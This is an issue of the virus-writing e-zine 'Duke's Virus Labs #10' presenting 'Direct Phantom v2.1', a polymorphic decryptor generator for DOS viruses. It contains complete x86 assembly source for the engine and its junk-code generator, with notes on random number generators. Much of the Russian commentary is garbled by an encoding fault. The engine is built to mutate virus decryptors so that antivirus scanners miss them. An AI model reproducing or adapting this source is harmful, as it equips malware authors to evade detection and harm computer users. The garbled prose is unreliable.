- [Duke's Virus Labs #10] - [Page 11] -

Direct Phantom Polymorphic Generator 
(c) by DaemonSerj

 ।:  ।⠢  㡫樨  ୠ  室 
              ᨩ 䭮  DPH.  ⮩  ।⠢
              室 ᫥ ᨨ. 室 㣨 ᨩ,  ⠪ 
              樮   ணࠬ,    ਫ饬 
              娢.


			    Direct Phantom
			    
	      A includable Simulated Polymorphic Generator
	      


 Mutation Engine.     訫 ஡ ᥡ  ⮩ .
     稫,  㬠  ஢. 쪮    :

 [ ᯮ짮  ஢騪 塞 権  "६訢"
   権  ᮡ   ⬠ ஢, ⠪ ஢騪
    ᯮ짮 ࠧ  ஢ ᭮ .]
   (C)   ?

 Direct Phantom -  砥 ,騩
  ஢騪.  ⮩ ᨨ DPH 1.0  ਯ
   50  100   .  ஢
 ⠢  13   RND(8...16) 権 -  0.8*10^9  6.6*10^17
 権 

 맮
 

 㦭  

 (1)
 TARGETPLACE   : SEG:OFFS -  ७ ਯ
 DEST_CODE     :  㥬 ,SEG ਯ
 COUNTER       :  
 LENDECRYPTOR  :  ਯ = 0
 RELOFFS       : ⥫쭮 ᬥ饭

 (2)
 CALL PHANTOM	   -  ਯ

  ਯ  㪠 
 ᫨ DEST_CODE=FFFFh,  ᫥ 樨 DEST_CODE = TARGETOFFS+LENDECRYPTOR

 CALL JuNK_DOIT    - ஢ ,᢮ ⥪


 ஢
 

  樨  ᯮ  ᦠ ᮪ -  ਭ樯쭮 ࠧ
 ⥩ ,⮬ ࠧ ਯ  饬  ᬠਢ 
 ਯ  ⨯:

 
 (1)
 InitUsedRegisters:
 BASE	    = 1000h	  ந쭮 浪,
 KEY	    = RND	  ࠧ묨 ॣࠬ,
 COUNTER    = 3Dh	  ࠧ묨 ᯮᮡ
 SEGBASE    = ES,DS

 mov	bx,0974F  ; BASE	mov    al,068	  ; KEY
 push	cs	  ; DSBASE	mov    bp,A014	  ; BASE
 pop	ds			mov    bx,cs	  ; DSBASE
 mov	si,cs	  ; ESBASE	mov    ds,bx
 mov	es,si			mov    dx,0003D   ; COUNTER
 mov	al,038	  ; KEY 	push   cs	  ; ESBASE
				pop    es

 (2)
 LoadByteFromCode:  (Present/Abscent)

 㧪   ਯ㥬   TMP_REG,
 ᫨ ਯ⮢ ।⢥  , 祣 

 mov	ch,es:[bx+78B1] 	------//------

 (3)
 Arithm&Shift[De]Coding:

 ஢  䬥᪨  ᪨   REG/MEM
  8  16 

 ࠫ쭮  ⥪ ᮧ EncryptionPart 騩 
 ઠ   ⭮ 浪
  ஢ ᯮ ᮧ ਯ,  맮 EncryptPart

 rol	ch,64			add    ds:[bp][06FEC],00C ; A014+6FEC=1000h
 add	ch,al			add    es:[bp][06FEC],dh
 sub	ah,2E			add    ds:[bp][06FEC],094
 inc	ch			sub    es:[bp][06FEC],06B
 add	ch,FC			add    ds:[bp][06FEC],0A2
 sub	ch,al			inc    es:[bp][06FEC]
 sub	ch,1C			sub    es:[bp][06FEC],dl  ;  稪
 neg	ch			sub    ds:[bp][06FEC],al  ;  祬
 rol	ch,1			add    es:[bp][06FEC],al
				neg    es:[bp][06FEC]
				not    es:[bp][06FEC]
				inc    ds:[bp][06FEC]
				rol    ds:[bp][06FEC],024
				add    es:[bp][06FEC],066
				rol    es:[bp][06FEC],1

 (4)
 SaveByteFromCode:  (Present/Abscent)

 ࠭   ਯ㥬   TMP_REG,
 ᫨ ਯ⮢ ।⢥  , 祣 

 mov	es:[bx+78B1],ch 	------//------

 (5)
 ChangeCnt,Base&TestLimit

 த   -  ADD/SUB,SUB/ADD,INC

 襭 稪 横  -  DEC
 (᫨ ⠪ )

 ஢ઠ ।  -  CMP or None
   ZF
 ᫥ ஢ન ।   

 sub	bx,4C			inc    bp
 add	bx,4D			dec    dx
 cmp	bx,978C

 (5a)
 ChangeKey ( ॠ)
   ᥬ 㯭묨 ᯮᮡ

 (6)
 JumpIfNotAll

   ਧ ZF  -  JNE Rel8 , JNE Rel16
 

 HISTORY
 

  1.0 beta

 +   訡. -- !!!
 +  ᯮ짮 DEST_CODE = FFFFh
 -   - 㦥 ᠭ, ⨬,TRCHAIN = RET
 -  ஢ PHANTOM (  㤥)
 -  ⨪ (  㤥)

  2.0

 +    騩  ᥡ   ⮫쪮  
    묨 ० 樨 (. TRCOMM.TXT ).  SMEG !
   砥  ணࠬ  맮 .  CALL'  .


 -   ᫮  饣   ⨯ mov ax,[bx]
     ᪠ 訡 "稢 ᥣ"
     BX=0FFFFh,  mov ax,[bx] 뫥⠥ Exeption 12:Invalid opcode
    ᭠砫  㬠  ⠪  㤥  ࠩ ।,
      祭 १ ⮢  ⭮ - 1/15.
    ਤ ⠢ ⮫쪮 ⮢   . .

 - ࠩ ਭ樯쭠 訡.
    CALL' ନ  4 offset' ।  ।騥 SUB'
      ணࠬ. ᫥  ॣࠬ ⢫ 
    室 ନ஢ ਯ.
       SUB'⨭ ஬  㦭 ॣ,
     ⮬  㤠  뢠 ⮣ 㦥  .
     ਫ 楤  ॣ   ᢮  

  2.1

 + ࠢ CALL' :
     CALL' ᤥ ⮫쪮  ।騥 SUB'⨭.
      SUB' 㦭 ॣ 㦥 ⥭.
    짮 FREEREG ᤥ MaskCALLRequest - 頥  CALL'
 +   CALL' :       8 .
 -   ⮢ . ⮣ DirectPhantom v2.1 = 2045 .


 砩 ᫠
--------------------

筮 㦥 pp _ᥢ砩_ ᥫ, p 뤠 pp
pp ᫠   [0,1)  p ᫮ pp冷 (, 
  ᠬ, 楫 ᫠ 0..2**n-1).  p ᪠ p 
p ﭨ, ᫥饥 ᫮ p  _祭_ p⮩ p㫥 
⮬ ﭨ, ᫥ 祣 ﭨ p.  ﭨ  ⨬
᫮ p ᮢ.  ⢨⥫쭮 ᫥⥫쭮 
横᪮ (⨪- 筮 ⢮),   訬 p. ⮡ p
᪥ pp  ᫥⥫쭮 稭  p㤭 p᪠㥬
, ﭨ 樠p p ᯮᮡ, pp, p ⥪饥
p (筮 pp冷   ,      "砩", ⮬
   pp).

[...]

H 16-pp來 楫    65536 p ᥫ.
 , p  ᮢᥬ   ?
 p楯 ( "뢮"  p  pp ᥢ砩 ᥫ):

"訩"  "p⥩訩" 稪 砩 ᥫ 砥  p㫥

X(I+1)=(a*X(I)+c) mod m

    ( p㣫  ⮬ ).

   p 롮p X(0),a,c  m 室 ᮡ p p 
ᯮ짮 砩 ᫠ ᫥, p㪮 ᫥騬 p樯.

i) ᫮ X(0)   p.

ii) ᫮ m   .  롨p  p pp ᫮
᫨⥫쭮 設 (     2**k,  k - pp來 ᫮
 pp來 ᫮  ⮬  pp鸞 - p. ), ᪮ p
⮬ 䥪⨢  (a*X+c) mod m.

iii) ᫨ m p⠢ ᮡ ⥯  (.. ᫨ ᯮ 設,
p  筮 ⥬ ᫥), 롥p a ⠪, ⮡ a mod 8 = 5.
p ⠪ 롮p 稭 a, p ᫮,  c 롨p ᠭ 
ᯮᮡ, pp,  稪 砩 ᥫ   m 
p 祭 X, p 祬   p , p ⮣,
pp  ᮪ "魮".

iv) ⥫ a  p室 稭 Sqrt(m), ⥫쭮, ⮡  
 m/100,   m-Sqrt(m). ᫥⥫쭮 pp冷  筮
p⠢ a    p⮣, pp . ᪠
ᮮp 筮 뢠 筮,  ᫨ 稪 砩 ᥫ
ᯮ ⥭ᨢ, ⥫ a, p ⮣, ᫥ 롨p ⠪, ⮡
㤮⢮p "ᯥp ".

v) ﭭ c   p ⭮ . ⥫쭮 롨p c ⠪
p, ⮡ ⭮襭 c/m 뫮  p⥫쭮 p 稭
0.2113248654051871.

vi)  稬 pp X  祭 p,  pᬠp X  p
X/m  p  0  1.

    ᭮, p᭥  ᫮, ⮤ pp 稪 -
,  .

 TZ> H  砫 樠 p (Hp. X(0)  I0)  
 TZ> ᨬ  ⥪饣 p.

    筮, ⮫쪮 p  p p⠭ pp  p, ⮡
pp p 祭  ⠪ 窮 p ᫥⥫ ᪠.

RND ᫮

m=65535 - ᫮ 設
a=36173 - mod(a)=101b , a > 655.35 , a < 65535 - 255
c=13849 - c/m = 0.211322

RND 

m=256
a=[2.56,240]=101
c=54



===== begin phantom.asm =====
CntF		equ	00000001b   ; 稪 / ।
RMF		equ	00000010b   ; ॣ / 
UcF		equ	00000100b   ; ⭮  
JRQ		equ	00001000b   ;   Jxx Imm8
PRQ		equ	00010000b   ;   Push/Pop
SRQ		equ	00100000b   ;   Subroutine
CRQ		equ	01000000b   ;   CALL
FCR		equ	10000000b   ;  襭 CALL'
MSR		equ	100000000b  ;  饭 SUB & CALL

REG_AX		equ	0	    ;   浪
REG_CX		equ	1
REG_DX		equ	2
REG_BX		equ	3
REG_SP		equ	4
REG_BP		equ	5
REG_SI		equ	6
REG_DI		equ	7

PhantomID	db	'Direct Phantom v2.1',0
RND_SEED	db	55h
				     ; 7		     0
REG_USED	db	00010000b    ; DI SI BP SP BX DX CX AX
				     ; 7		     0
HALF_USED	db	00000000b    ; BH DH CH AH BL DL CL AL

PH_FLAGS	db	0      ; 䫠
		db	0      ; ७ 䫠

BASE_REG	db	0      ;  ॣ
KEY_REG 	db	0      ; 
BASE_RM 	db	0      ;  १   
BASE_TR 	dw	0      ;  - init
EncryptPart	dw	0      ;  EP  ⥪

INITTAB 	dw	offset INITBASEOFFS   ;  樠樨
		dw	offset INITBASESEG
		dw	offset INITKEY
		dw	offset INITCOUNTER
		dw	offset INITBASESEG
INITFLAGS	db	0
;-----------------------------------------
ImmF		equ	10000000b
KeyF		equ	01000000b

		; COP , ModeR/M , Flags & ઠ쭠 

CRYPTTAB	db	11000000b,11000000b,ImmF+3   ; ROL REG/MEM,IMM8
		db	11000000b,11001000b,ImmF+0   ; ROR REG/MEM,IMM8
		db	10000000b,11000000b,ImmF+9   ; ADD REG/MEM,imm8
		db	10000000b,11101000b,ImmF+6   ; SUB REG/MEM,imm8
		db	10000000b,11110000b,ImmF+12  ; XOR reg/mem,imm8

		db	11110110b,11010000b,15	     ; NOT reg/mem
		db	11110110b,11011000b,18	     ; NEG reg/mem
		db	11111110b,11000000b,24	     ; INC reg/mem
		db	11111110b,11001000b,21	     ; DEC reg/mem
		db	11010000b,11000000b,30	     ; ROL REG/MEM,1
		db	11010000b,11001000b,27	     ; ROR REG/MEM,1

		db	00000000b,11000000b,KeyF+36  ; ADD reg/mem,KEY
		db	00101000b,11000000b,KeyF+33  ; SUB reg/mem,KEY
		db	00110000b,11000000b,KeyF+39  ; XOR reg/mem,KEY
ENDCRCMD	equ	$

;-----------------------------------------------------------------------------
RND		proc
; dl = RND(0..dl)   砩 

		push	ax
		or	dl,dl		     ; RND(0..0)=0
		jz	FinishRND
		push	dx

		inc	dl
		jnz	NormLimit
		dec	dl
NormLimit:
		mov	ax,0100h	    ; ࠧ 筮 १
		div	dl
		not	ah
		push	ax

		in	al,40h		 ; RND 
		mul	[RND_SEED]
		add	ax,13849
		mov	[RND_SEED],al

		pop	dx	    ; ⨢ ⮡ࠧ RND   ।
		cmp	al,dh
		jbe	NormByte
		mov	al,dh
NormByte:
		xor	ah,ah
		div	dl
		pop	dx
		mov	dl,al
FinishRND:
		pop	ax
		ret
RND		endp
;-------------------
DROPCOIN	proc
; 뢠 ⪨ - १  ZF
		push	dx
		mov	dl,1
		call	RND
		and	dl,1
		pop	dx
		ret
DROPCOIN	endp
;-------------------
GETNUM		proc
; Exit - RND = 0...dl , al = mask
		call	RND
		mov	cl,dl
		mov	al,1
		shl	al,cl
		ret
GETNUM		endp
;-------------------
GETFREEREG	proc
; CF=0 - ॣ
; CF=1 - ॣ
; 頥 ᢮ ॣ  DL
		pushf
		push	ax
		push	cx
		jc	HalfReg
NextReg:
		mov	dl,7
		call	GETNUM
		test	[REG_USED],al
		jnz	NextReg

		or	[REG_USED],al	 ; ⨬  

		mov	cl,al		 ;  3...0  7...0
		shl	cl,4		 ;  HALF_USED
		and	al,0Fh
		or	al,cl
		or	[HALF_USED],al	 ; ⨬

		jmp	RegDone
HalfReg:
		mov	dl,7
		call	GETNUM
		test	[HALF_USED],al
		jnz	HalfReg

		or	[HALF_USED],al	; ⨬  
		cmp	al,0Fh
		jb	DontRotate
		shr	al,4		; ⨬     REG_USED
DontRotate:
		or	[REG_USED],al
RegDone:	pop	cx
		pop	ax
		popf
		ret
GETFREEREG	endp
;-------------------
FREEREG 	proc
; 좫 ॣ ᢮
		push	ax
		pushf
		mov	al,1
		mov	cl,dl
		shl	al,cl

		mov	cl,al
		not	cl

		mov	ah,al		   ;  3...0  7...0
		shl	ah,4		   ;  HALF_USED
		and	al,0Fh
		or	ah,al

		popf
		jc	FreeHalfReg

		not	ah		   ; ᢮ ॣ 
		and	[REG_USED],cl	   ;  ᮮ⢥ ॣ
		and	[HALF_USED],ah
		jmp	EndFreeReg
FreeHalfReg:
		and	[HALF_USED],cl	   ; ᫨ ன ॣ ᢮
		and	ah,[HALF_USED]	   ;  ᢮ ॣ
		jnz	EndFreeReg
		not	al
		and	[REG_USED],al
EndFreeReg:
		pop	ax
		ret
FREEREG 	endp
;-------------------
MAKERM		proc
; 室  ᭮ ॣ  DL 
; ᮮ⢥  
		push	ax
		mov	al,00011011b
		cmp	dl,REG_BX	 ; BX
		jz	RM
		shr	al,2
		cmp	dl,REG_BP	 ; BP
		jz	RM
		shr	al,2
		cmp	dl,REG_DI	 ; DI
		jz	RM

		shr	al,2		 ; SI
RM:		and	al,00000011b
		or	al,00000100b	 ; DONE
		mov	[BASE_RM],al
		pop	ax
		ret
MAKERM		endp
;-------------------
SavePRFX	proc

		cmp	[BASE_REG],REG_BP    ; 䨪 ⮫쪮 । [BP]
		jne	PRFX_OUT

		push	cx
		in	al,40h
		mov	cl,al

		mov	al,00100110b
RNDPRFX:	xor	al,00011000b   ; ES  DS
		loop	RNDPRFX

		stosb		       ; DONE
		pop	cx
PRFX_OUT:
		ret
SavePRFX	endp
;-------------------
INITBASEOFFS	proc
;  ॣ  ਯ㥬 
;  ⭮ ᬥ饭 -  ࠧ  ਯ஬

GetBase:
		clc
		call	GETFREEREG	  ; 稫 

		mov	al,1
		mov	cl,dl
		shl	al,cl
		and	al,11101000b ;᪠  ॣ஢ : SI,DI,BP,BX
		jnz	BASEOK

		clc		     ;⮫쪮 
		call	FREEREG
		jmp	GetBase
BASEOK:
		mov	[BASE_REG],dl	  ; 
		call	MAKERM		  ; ᤥ r/m 

		mov	al,10111000b	  ; mov reg,imm16
		or	al,dl
		stosb

		mov	dx,[DEST_CODE]	; 饭 ਯ㥬 
		test	[PH_FLAGS],UcF	;  ⭮ -  ⮬
		jz	make_base	; DESTCODE 㤥 ࠧ  ਯ஬

		xor	dx,dx		;   0
		mov	word ptr [PHTEMP_BASE],di
make_base:
		in	al,40h	 ;  ⥫쭮 TRASH ᬥ饭
		mov	ah,al
		in	al,40h

		xchg	ax,dx	 ; INITBASE = BASE - TRASH
		sub	ax,dx
		mov	[BASE_TR],dx
		stosw
		call	TRCHAIN
		ret
INITBASEOFFS	endp
;-------------------
INITBASESEG	proc
; ⠭ ES,DS = CS
		mov	dh,00011000b	   ; ES  DS
DEST_SREG	equ	$ - 1

		mov	dl,00001000b	   ; CS
		call	MAKESEGREG
		xor	byte ptr [DEST_SREG],00011000b

		ret
INITBASESEG	endp
;-------------------
MAKESEGREG	proc
; dh - destination sreg       : PUHS SRC    MOV REG,SRC
; dl - source sreg			    POP DEST	   MOV DEST,REG

		call	DROPCOIN    ; ᨬ 
		jz	SECONDPART

		mov	al,00000110b	  ; PUSH SREG
		or	al,dl		  ; + SOURCE
		stosb

		call	TRCHAIN

		xor	al,dl		  ; ᨬ SOURCE
		or	al,1		  ; + POP
		or	al,dh		  ; + DESTINATION
		stosb
		jmp	DoneSreg
SECONDPART:
		mov	ax,1100000010001100B	  ; MOV REG,SREG
		or	ah,dl
		clc
		mov	cl,dl
		call	GETFREEREG
		xchg	cl,dl
		or	ah,cl	      ; ஬ ॣ
		stosw

;   CALL , ⠪  맢  楤 
;  㦥 ᢮  ஬ ॣ

		or	word ptr [PH_FLAGS],MSR
		call	TRCHAIN
		xor	word ptr [PH_FLAGS],MSR

		xor	ah,dl	      ; ᨬ SOURCE
		or	al,2	      ; Set Dbit - MOV SREG,AX
		or	ah,dh	      ; + DESTINATION
		or	ah,cl	      ; + ஬ ॣ
		stosw

		mov	dl,cl	      ; ᢮  쭥襣
		clc
		call	FREEREG
DoneSreg:
		call	TRCHAIN
		ret
MAKESEGREG	endp
;-------------------
INITKEY 	proc
		in	al,40h		; 
		mov	ah,al
		mov	al,10110000b	; MOV REG,IMM8
		stc
		call	GETFREEREG	; ᠬ ॣ
		mov	[KEY_REG],dl	;    㤥 㦥
		or	al,dl
		stosw
		call	TRCHAIN
		ret
INITKEY 	endp
;-------------------
INITCOUNTER	proc
		call	DROPCOIN	; ࠭稢 ਯ㥬  -
		jz	CodeLimit	; ࠢ  ।

		clc			; ᤥ 稪
		call	GETFREEREG
		mov	byte ptr [CNT_REG],dl
		mov	al,10111000b
		or	al,dl
		stosb

		mov	ax,[counter]
		stosw
		or	[PH_FLAGS],CntF    ; ࠭稢  稪
		call	TRCHAIN 	   ; DEC CNT
CodeLimit:
		xor	[PH_FLAGS],CntF    ; ࠭稢  ।
		ret			   ; CMP BASE,DESTCODE+COUNTER
INITCOUNTER	endp
;-------------------
INITPHANTOM	proc
;樠  ࠬ஢  ந쭮 浪

		call	DROPCOIN      ;ਯ⮢ REG/MEM ?
		jz	CRYPTTYPE

		or	[PH_FLAGS],RMF	  ; ਯ⮢ ।⢥
					  ;  
CRYPTTYPE:
		cmp	[DEST_CODE],0FFFFh   ; DEST_CODE ⭮
		jne	fixed		     ; 㤥 ࠧ  ਯ஬

		or	[PH_FLAGS],UcF	     ; ⠭ Unknown Code Flag
fixed:

; ᫥⥫ RND 맮 楤 ன ࠬ஢

		mov	dl,4
NextProc:
		push	dx
		call	GETNUM
		shl	dl,1
		movzx	bx,dl	 ; index  ⠡ ᮢ 楤

		test	[INITFLAGS],al
		jnz	ThisProcIsDone	  ;  뫠 믮

		or	[INITFLAGS],al		  ; ⨬
		call	[BX+offset INITTAB]	  ; 믮
		pop	dx
		jmp	NextProc
ThisProcIsDone:
		cmp	[INITFLAGS],1Fh   ;  楤 믮 ?
		pop	dx
		jne	NextProc
		ret
INITPHANTOM	endp
;-------------------
ENCRYPT 	proc
;   㧪/࠭   ਯ㥬 ,᫨ RmF=0
;  ᫥⥫쭮 ஢뢠  - DecryptPart ,
; ࠫ쭮  ⥪  ઠ쭠 ᫥⥫쭮 - EncryptPart
;  ᫥饩 ஢ 

		pop	word ptr [CryptExit]

		mov	word ptr [PH_LABEL],di	 ; ⪠  室
		call	TRCHAIN 		 ; ࠧ 쬮

		test	[PH_FLAGS],RMF	;   㧪   TMP_REG
		jnz	MEMCRYPT

; 㥬 㧪   
		stc
		call	GETFREEREG
		mov	byte ptr [TMP_REG],dl

		call	SavePRFX	     ; ᫨ 㦭 ᤥ 䨪

					     ;   ࠭ 

		mov	word ptr [LoadSaveCMD],di


		mov	al,10001010b	   ; MOV REG,R/M
		stosb

		mov	al,10000000b	   ;  ModeR/M

		shl	dl,3		   ; + TMP_REG
		or	al,dl		   ; +   
		or	al,[BASE_RM]
		stosb

		mov	ax,[BASE_TR] ; +  - REALBASE = INIT + TRASH
		stosw
		call	TRCHAIN
MEMCRYPT:
; ਬ EN/DEcryptionPart
		mov	word ptr [CRYPTLAB],di
		;  [CRYPTLAB] 㤥 饭 JMP  DecryptPart

		call	RMTRASH
		call	SimplyTRASH	;  ⠪ ...
		call	RMTRASH

		mov	si,offset CRYPTTAB

		mov	dl,8	  ; ਯ  : RND (8...16)
		call	RND
		add	dl,8
		mov	cl,dl
		xor	ch,ch
					    ; STKFRM - ࠧ DecPart  ⥪
		mov	word ptr [STKFRM],6 ;  ⮫쪮 쭨 JMP

		push	es	; Seg:Offs Decryptor'a
		push	ax
		mov	word ptr [OffsFARJump],sp  ;  ᬥ饭 - 
						   ;   ⭮

		mov	ax,0EA90h     ; Far Jump ⭮  ਯ
		push	ax

MAKE_CRYPT_CMD:

		mov	dl,(ENDCRCMD-CRYPTTAB)/3-1
		call	RND
		xchg	al,dl
		mov	dl,3	     ;    ⠡
		mul	dl
		mov	bx,ax

		mov	ax,9090h     ; Stack Frame for THIS command
		push	ax
		push	ax
		push	ax
		add	word ptr [STKFRM],6  ; 㢥稬
		mov	bp,sp

		test	[PH_FLAGS],RMF	; 㦥 䨪 ? (᫨  )
		jz	DoNotPRFX
		call	SAVEPRFX
		mov	byte ptr [bp],26h     ;   stack frame
		inc	bp
DoNotPRFX:
		mov	ax,[si+bx]
		stosb			; 
		mov	al,ah		; ModeR/M 

		mov	ah,bl
		mov	bl,[si+bx+2]
		and	bl,00111111b
		mov	dx,[si+bx]	;  ઠ쭮 
		mov	bl,ah

		mov	[bp],dl
		inc	bp

		test	byte ptr [si+bx+2],KeyF ;   
		jz	DontAddKEY

		mov	dl,[KEY_REG]	; + KEY_REG
		shl	dl,3
		or	al,dl		; This COP
		or	dh,dl		; COP  stack frame
DontAddKEY:
; a   TMP_REG'a

		mov	ah,00h
TMP_REG 	equ	$ - 1
		test	[PH_FLAGS],RMF
		pushf
		jz	AddTMP

		mov	ah,[BASE_RM]
		and	al,10111111b   ; MODE = [mem+imm16]
		and	dh,10111111b
AddTMP:
		or	al,ah	       ; COP's Done
		or	dh,ah
		stosb
		mov	[bp],dh
		inc	bp

		popf
		jz	AddIMM8

		mov	ax,[BASE_TR]   ; +  (  㧪 )
		stosw
		mov   [bp],ax
		inc   bp
		inc   bp
AddIMM8:
		test	byte ptr [si+bx+2],ImmF
		jz	CRCMD_DONE		   ; Immediate8   

		in	al,40h
		stosb
		mov	[bp],al   ; B stack frame

CRCMD_DONE:
		call	TRCHAIN 	;  
		dec	cx
		jne	MAKE_CRYPT_CMD

		mov	bp,0000h   ; 室  stackframe  DECRYPTOR
OffsFARJump	equ	$ - 2
		mov	[bp],di

		mov	[EncryptPart],sp

		test	[PH_FLAGS],RMF
		jnz	DontMakeSaveCMD

		call	SAVEPRFX      ;   ࠭  -
		mov	bx,0000h      ; 쬥  㧪 
LoadSaveCMD	equ	$ - 2	      ; ᨬ Direction bit
		mov	eax,es:[bx]
		and	al,11111101b

		stosd		      ; Done

		call	TRCHAIN
DontMakeSaveCMD:
		mov	ax,0000h
CryptExit	equ	$ - 2

		push	ax
		ret
ENCRYPT 	endp
;-------------------
CHANGECNT	proc

		call	DROPCOIN
		jz	second

		mov	al,01000000b
		or	al,[BASE_REG]
		stosb
		jmp	ChangeEndCrypt
second:
		mov	ax,1100000010000011b	; ADD/SUB BASE,imm8
		or	ah,[BASE_REG]

		call	DROPCOIN
		jz	met

		xor	byte ptr [IncDec],00001000b
		or	ah,00101000b
met:
		stosw
		push	ax
		in	al,40h
		and	al,3Fh
		mov	dl,al
		stosb
		pop	ax

		call	TRCHAIN

		dec	dl
IncDec		equ	$ - 1
		xor	ah,00101000b
		stosw
		mov	al,dl
		stosb

		or	byte ptr [IncDec],00001000b
ChangeEndCrypt:
		call	TRCHAIN

		test	[PH_FLAGS],CntF
		jnz	Limit_

		mov	al,01001000b
		or	al,00h
CNT_REG 	equ	$ - 1
		stosb
		jmp   endchange
Limit_:
		mov	ax,1111100010000001b
		or	ah,[BASE_REG]
		stosw
		mov	ax,[DEST_CODE]
		inc	ax
		test	[PH_FLAGS],UcF
		jnz	unk
		dec	ax
unk:
		sub	ax,[BASE_TR]
		mov	word ptr [PHTEMP_CNT],di
		add	ax,[COUNTER]
		stosw
endchange:
		ret
CHANGECNT	endp
;-------------------
MAKEJNE 	proc

		mov	dx,di
		inc	dx
		inc	dx
		sub	dx,1234h
PH_LABEL	equ	$ - 2
		cmp	dx,80h		;  室   । 128 
		jb	REL8bit
		inc	dx
		inc	dx
		mov	ax,850Fh	; JNE Rel16
		stosw
		xchg	ax,dx		;  ᬥ饭
		neg	ax
		stosw
		jmp	EndJNE
REL8bit:
		mov	al,75h		; ᤥ ⪨
		stosb
		xchg	al,dl
		neg	al
		stosb
EndJNE:
		ret
MAKEJNE 	endp
;-----------------------------------------------------------------------------
PHANTOM 	proc

;  塞  맮 PHANTOM
;	 RELOFFS	  - TARGETOFFS + RELOFFS = ॠ쭮  믮
;	 DEST_CODE	  -  ਯ㥬 
;	 COUNTER	  -  
;	 TARGETPLACE	  -   ਯ
;	 LENDECRYPTOR	  -  ਯ ()

; 樠
		pop	word ptr [EXPHANTOM]
		cli

		xor	al,al
		mov	[PH_FLAGS],al
		mov	[INITFLAGS],al
		mov	[HALF_USED],al
		mov	[REG_USED],00010000b

		movzx	eax,al
		mov	dword ptr [SUBOFFS],eax
		mov	dword ptr [SUBOFFS+4],eax

		les	di,[TARGETPLACE]    ; 㤠 㤥 
		cld

		call	TRCHAIN

		call	INITPHANTOM	; Part 1 - 樠 ॣ஢
		call	ENCRYPT 	; Part 2 - GEN EN/DEcryptionPart
		call	CHANGECNT	; Part 3 -  稪
		call	MAKEJNE 	; Part 4 - 横᪨ 室

		mov	word ptr [ENDLOOP],di
		;  ஢뢠 ᯮ   ਯ -
		; DI -   ६ RETF

		call	TRCHAIN
		call	FinishTR

		test	[PH_FLAGS],UcF
		jz	DONTADDOFFS
		mov	[DEST_CODE],di	    ;  Relative DEST_CODE
		call	ADDREALPLACE
DONTADDOFFS:
		mov	ax,di
		sub	ax,word ptr [TARGETPLACE]
		mov	[LENDECRYPTOR],ax   ;  ਯ

		sti
		mov	ax,0000h
EXPHANTOM	equ	$ - 2
		push	ax
		ret
PHANTOM 	endp
;-------------------
JuNK_DOIT	proc
; ஢   㤠 EncryptionPart
		cli
		pop	word ptr [EXJUNK]

		push	es
		pop	ds

		mov	si,0000h   ;  ६ 
ENDLOOP 	equ	$ - 2
		mov	dh,0CBh
		xchg	[si],dh

		mov	bx,0000h
CRYPTLAB	equ	$ - 2
				   ;  jmp SS:EncryptChain
		mov	dl,0EAh
		mov	ax,ss	   ;  ⥪
		rol	eax,16
		mov	ax,cs:[EncryptPart]   ; 饭

		xchg	[bx],dl
		xchg	[bx+1],eax

		push	si
		push	bx
		push	dx
		push	eax

		call	cs:[TARGETPLACE]

		pop	eax
		pop	dx
		pop	bx
		pop	si

		mov	[si],dh      ; ⠭   﫨
		mov	[bx],dl
		mov	[bx+1],eax

		push	cs
		pop	ds

		mov	di,[RELOFFS]   ;  쭮 ᬥ饭
		call	ADDREALPLACE

		push	ss
		push	ss
		pop	es
		pop	ds

		mov	dx,0000h
StkFrm		equ	$ - 2

		mov	di,sp
		mov	si,sp
		mov	cx,cs:[EncryptPart]

		cld
		add	di,dx
		sub	cx,sp
Move:
		jcxz	EndMoveStk
		movsb
		dec	cx
		jmp	Move
EndMoveStk:
		add	sp,dx

		push	cs
		push	cs
		pop	es
		pop	ds

		sti
		mov	ax,0000h
EXJUNK		equ	$ - 2
		push	ax
		ret
JuNK_DOIT	endp
;-------------------
AddRealPLACE	proc
		mov	bx,1234h
PHTEMP_BASE	equ	$ - 2
		add	es:[bx],di

		test	[PH_FLAGS],CntF
		jz	DontLimit

		mov	bx,1234h
PHTEMP_CNT	equ	$ - 2
		add	es:[bx],di
DontLimit:
		ret
AddRealPLACE	endp
===== end   phantom.asm =====

===== begin trash.asm =====
;  ଠ ᫮   REG/MEM trash
;
;  WD = 00 - W  D 		     0,1 Wbit & Dbit
;	01 - W=0,1 D 
;	10 - W=0,1 D=1
;	11 - W=0,1 D=0,1
;
;  TR = 0 -  ஢  REG	     2	 TestREG
;	1 - ஢  REG
;
;					     3	 TestREG/MEM
;  TRM = 0 -    REG/MEM
;	 1 -   ॣ
;
;  MemOnly = 0 - ந쭮		     4	 MemOnly
;	     1 - ⮫쪮  
;
;  PLCMD = 00 -  ⥫쭮    5,6 PLaceCoMmanD
;	   01 -  'e 			 ⮯
;	   10 -  ModeRM
;
;  ImmF = 0 -  ⥫쭮 ࠭    7   Immediate
;	  1 -  ⥫ ࠭
;
;					     8,9,10
;					     ⥫쭠 
;					     11,12,13
;					     ⥫ 
;
;  KillAD = 0 -   AX  DX	     14  KillAX,DX
;	    1 -  AX  DX

Wbit		equ	0
WDbit		equ	00000011b
TR		equ	00000100b
TRM		equ	00001000b
MemOnly 	equ	00010000b
CMDinCOP	equ	00100000b
CMDinRM 	equ	01000000b
ImmF		equ	10000000b
;		High Byte
XtraCMD 	equ	00000111b
XtraCOP 	equ	00111000b
KillAD		equ	01000000b

RMTAB		equ	$

db	10001010b,10b+TR,0			; MOV REG,REG/MEM
db	10000110b,01b+TR+TRM,0			; XCHG REG,REG
db	10001101b,00b+TR+MemOnly,0		; LEA REG,MEM
db	00000010b,10b+TR+CMDinCOP,111b		; ARCMD REG,REG/MEM
db	00111000b,11b,0 			; CMP REG,REG/MEM
db	10000100b,01b,0 			; TEST REG,REG/MEM
db	11000110b,01b+TR+CMDinRM+TRM+ImmF,0	; MOV REG,Imm8/16
db	10000000b,01b+TR+CMDinRM+TRM+ImmF,111b	; ARCMD REG,Imm8/16
db	11110110b,01b+TR+CMDinRM+ImmF,0 	; TEST REG/MEM,Imm8/16
db	11111110b,01b+TR+CMDinRM+TRM,1		; INC/DEC REG
db	11110110b,01b+TR+CMDinRM+TRM,1+010000b	; NOT/NEG REG
db	11110110b,01b+TR+CMDinRM,1+100000b+KillAD    ; MUL/IMUL REG/MEM
db	10001100b,00b+TR+CMDinRM+TRM,11b	; MOV REG,SREG
db	11010000b,01b+TR+CMDinRM+TRM,111b	; SHIFT REG,1
db	11010010b,01b+TR+CMDinRM+TRM,111b	; SHIFT REG,CL

; 砭 :
;		 ᤢ  १  imm8
;		 ७ '   ࠧ  ARCMD , S=0

ENDRMTAB	equ	$

;  offset'  SUB'
SUBOFFS 	dq	0h
		dq	0h

